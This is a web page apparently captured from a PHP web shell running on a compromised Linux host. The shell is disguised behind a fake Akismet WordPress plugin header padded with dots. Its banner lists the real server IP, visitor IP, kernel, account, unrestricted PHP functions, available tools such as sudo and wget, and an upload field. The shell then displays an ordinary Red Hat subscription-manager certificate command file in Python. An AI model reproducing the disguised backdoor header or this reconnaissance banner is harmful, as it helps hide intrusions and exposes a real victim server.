#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
| Server IP : 62.109.13.187 / Your IP : 216.73.216.11 [ Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28 System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : mosrembit ( 6064) PHP Version : 8.2.28 Disable Function : NONE Domains : 0 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /lib64/python2.7/site-packages/rct/ |
Upload File : |
from __future__ import print_function, division, absolute_import
#
# Copyright (c) 2010 - 2012 Red Hat, Inc.
#
# This software is licensed to you under the GNU General Public License,
# version 2 (GPLv2). There is NO WARRANTY for this software, express or
# implied, including the implied warranties of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE. You should have received a copy of GPLv2
# along with this software; if not, see
# http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt.
#
# Red Hat trademarks are not licensed under GPLv2. No permission is
# granted to use or replicate Red Hat trademarks that are incorporated
# in this software or its documentation.
#
import base64
import os
from rhsm import certificate, _certificate
from rhsm.certificate2 import EntitlementCertificate
from rct.commands import RCTCliCommand
from rct.printing import printc, type_to_string
from subscription_manager.cli import InvalidCLIOptionError
from subscription_manager.i18n import ugettext as _
class RCTCertCommand(RCTCliCommand):
def __init__(self, name="cli", aliases=None, shortdesc=None, primary=False):
RCTCliCommand.__init__(self, name=name, aliases=aliases,
shortdesc=shortdesc, primary=primary)
def _get_usage(self):
return _("%%prog %s [OPTIONS] CERT_FILE") % self.name
def _create_cert(self):
cert_file = self._get_file_from_args()
try:
return certificate.create_from_file(cert_file)
except certificate.CertificateException as ce:
raise InvalidCLIOptionError(
_("Unable to read certificate file '%s': %s") % (cert_file,
ce))
def _validate_options(self):
cert_file = self._get_file_from_args()
if not cert_file:
raise InvalidCLIOptionError(_("You must specify a certificate file."))
if not os.path.isfile(cert_file):
raise InvalidCLIOptionError(_("The specified certificate file does not exist."))
class CatCertCommand(RCTCertCommand):
def __init__(self):
RCTCliCommand.__init__(self, name="cat-cert", aliases=['cc'],
shortdesc=_("Print certificate information"),
primary=True)
self.parser.add_option("--no-products", dest="no_products", action="store_true",
help=_("do not show the cert's product information"))
self.parser.add_option("--no-content", dest="no_content", action="store_true",
help=_("do not show the cert's content info"))
def _do_command(self):
"""
Does the work that this command intends.
"""
cert = self._create_cert()
printc(cert, skip_content=self.options.no_content,
skip_products=self.options.no_products)
class StatCertCommand(RCTCertCommand):
def __init__(self):
RCTCliCommand.__init__(self, name="stat-cert", aliases=['sc'],
shortdesc=_("Print certificate statistics and sizes"),
primary=True)
def _do_command(self):
cert = self._create_cert()
pem = self._get_pem(self._get_file_from_args())
print(_("Type: %s") % type_to_string(cert))
print(_("Version: %s") % cert.version)
print(_("DER size: %db") % self._get_der_size(pem))
subject_key_id = self._get_subject_key_id(pem)
if subject_key_id is not None:
print(_("Subject Key ID size: %db") % len(subject_key_id))
if isinstance(cert, EntitlementCertificate):
content_len = 0
if cert.content:
content_len = len(cert.content)
print(_("Content sets: %s") % content_len)
def _get_pem(self, filename):
return open(filename, 'r',).read()
def _get_der_size(self, pem):
parts = pem.split("-----BEGIN CERTIFICATE-----\n")
cert = parts[1].split("-----END CERTIFICATE-----")[0]
return len(base64.b64decode(cert))
def _get_subject_key_id(self, pem):
cert = _certificate.load(pem=pem)
subject_key_id = cert.get_extension(oid="2.5.29.14")
return subject_key_id